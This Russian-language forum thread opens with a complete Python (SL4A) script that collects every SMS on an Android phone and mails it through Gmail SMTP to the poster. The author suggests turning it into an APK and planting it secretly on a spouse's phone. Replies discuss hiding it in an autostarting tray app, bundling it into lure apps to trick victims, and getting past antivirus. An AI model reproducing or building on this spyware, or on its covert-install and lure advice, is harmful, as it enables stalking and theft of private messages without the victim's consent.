Скрипт SMS-вор (только для самообразования)

[ultramarin]

Предлагаю для практики написать скрипт, который соберет все SMS у незадачливого пользователя и отправит их нам на почту.

# -*- coding: utf-8 -*-
import android, smtplib, os
droid = android.Android()
# Необходимые переменные
mailfrom = "откуда отправлять"
mailto = "куда отправлять"
lines = ""
# получаем сообщения
result = droid.smsGetMessages(False)
# обрабатываем результат и формируем тело письма
for f in result[1]:
    for value in f.values():
        lines = lines+str(value.encode('utf-8'))+ '\n'
print lines
# отсылаем полученные данные на почту
mailSend = smtplib.SMTP("smtp.gmail.com",587)
mailSend.ehlo()
mailSend.starttls()
mailSend.ehlo()
mailSend.login(mailfrom,"пароль от ящика")
mailSend.sendmail(mailfrom, mailto, lines)
mailSend.close()

В переменные mailfrom и mailto нужно забить адреса ящиков, с которых ты будешь отправлять и на которые будешь принимать письма, соответственно. Затем при помощи команды smsGetMessages() забираем сообщения. В качестве параметра ей надо указать, передавать ли только непрочитанные (True), или все сообщения (False). На будущее замечу, что у данной функции также есть и второй, необязательный параметр: inbox (по умолчанию) — из какой папки читать сообщения, в данном случае — входящие. После выполнения в переменную result запишется список, который состоит из списка словарей. Звучит запутанно, поэтому смотри код. Первый список — result, список SMS содержится в первом его элементе, поэтому в дальнейшем я работаю только со списком result[1], в котором каждый элемент — это словарь, а каждый словарь содержит SMS, номер телефона и ID сообщения. Ключи меня не сильно интересуют, поэтому я извлекаю только значения из каждого словаря и записываю их в строку, которая затем будет отправлена по почте. Для отправки по почте в API SL4A есть команда sendEmail(), но она требует участия пользователя, который вряд ли захочет, чтобы его входящие SMS отправились неизвестно кому. Поэтому подключаем smtplib и отправляем письмо самостоятельно. Ты можешь отправить это письмо самому себе или на другой ящик.

Где такой пример может пригодиться? Допустим, ты частный детектив, и очередная ревнивая жена попросила выяснить, что пишут ее мужу юные любовницы. Данный скрипт можно преобразовать в apk-файл, установить в телефон нерадивому супругу, а жене на почту будут приходить все планы будущих прелюбодеяний .

[Arenim]

Для самообразования, ну конечно....

По существу:

1. Хороший, годный скрипт. Но гораздо более нетривиальный вопрос -- как подсовывать "мужу" этот программный пр'одукт так, чтобы он ничего не спалил. И здесь мне видятся два препятствия:

а). У ревнивого мужа на телефоне, конечно же, стоит пароль. Даже если жена сопрет телефон и будет выполнять наши инструкции -- что делать?
б). У ревнивого мужа наша программа отображается в списке установленных, и у нее в списке разрешений есть запрос чтения СМС. Как это можно объяснить/нивелировать/скрыть?

[Dimix]

Спасибо. Очень занимательно

Цитата: Сообщение от Arenim . Хороший, годный скрипт. Но гораздо более нетривиальный вопрос -- как подсовывать "мужу" этот программный пр'одукт так, чтобы он ничего не спалил. И здесь мне видятся два препятствия:

Самый глупый вопрос. Прописать запуск через ярлык часто используемой программы.

[ultramarin]

Цитата: Сообщение от Dimix прописать запуск через ярлык часто используемой программы

Этот вариант не совсем работоспособен, но можно и так.
Я зашивал этот скрипт в программу которая висит в трее постоянно и которая автоматически стартует при запуске устройства. (пример allkiller)

[Arenim]

Самый глупый вопрос. прописать запуск через ярлык часто используемой программы.

Мне это напомнило одну сюрреалистическую статью в "Хакере" про то, как взламывать сервера. За точность цытаты не ручаюсь, но смысл -- гарантирую.

Статья на 5 страниц. Парни аффторитетна рассказывают, как ломать игровые сервера. Первым абзацем: "Игровой сервер надо перво-наперво рутануть, вы сами знаете как". А потом на 5 страницах рассказывают, что можно сделать с чужим сервером, получив на нем рутовый доступ. Ха-ха! Уж будто я сам не догадаюсь.

Это я про то, что если мы действуем в предположении, что нам дадут девайс подержать в руках и понастраивать, то все понятно. Вопрос -- что делать, если девайса в руки не дают.

[ultramarin]

Цитата: Сообщение от Arenim Вопрос -- что делать, если девайса в руки не дают.

Если не дают, то видимо плохо просите...
Чем унижаться и просить лучше взять и промолчать...

[BeeBeep]

Вопрос, как на этот скрипт отреагируют антивирусники?

[rudenoka]

видимо никто не знает, если молчат.

[ultramarin]

Цитата: Сообщение от BeeBeep Вопрос, как на этот скрипт отреагируют антивирусники?

Никак - молчат.

Цитата: Сообщение от rudenoka видимо никто не знает, если молчат.

Видимо кто-то не разбирается в принципах работы OS Android и в языках программирования в том числе и в написании скриптов... И видимо никто не знает о криптографии.

[Andy St]

как всучить юзеру такое? да очень просто .. нагуглить какой нить секс-тетрис (мп3 финдер и т.д. короче по интересам ;)) ... и дописать туда
этот кусок .. при запуске ... и случайно засветить ссылку ;) ..

[skysand]

Коллеги и "господа"! Работаю в сотовой компании и имею самое непосредственное отношение к сети. Читаю "рекламы" от особо продвинутых "хакеров" и истерически хохочу. По их мнению, у нас работают полные дебилы, которые даже не подозревают, что с помощью каких то "хитрозадых" программ можно влегкую зайти на любой контроллер сети, считать инфу с коммутатора, посетить "святой" сервер "ААА" и без труда скопировать все сообщения с сервера СМС и ММС!
Вариант с программами, которые вместо ПО телефона что то там копируют и не зависимо от операционки управляют отправкой инфы на "секретный" номер вообще не выдерживают какой либо критики. ПО телефона нервно курит за сортиром, пока хитрая программа, вместо ПО поддерживает все железо телефона и что то там передает!
Если у Вас есть лишние деньги, можете тестировать отправку СМС с их сайта, и даже текст они Вам покажут. Но все остальное - только после оплаты.
"На дурака не нужен нож,
ему с три короба наврешь,
и делай с ним что хошь"(С) Буратинно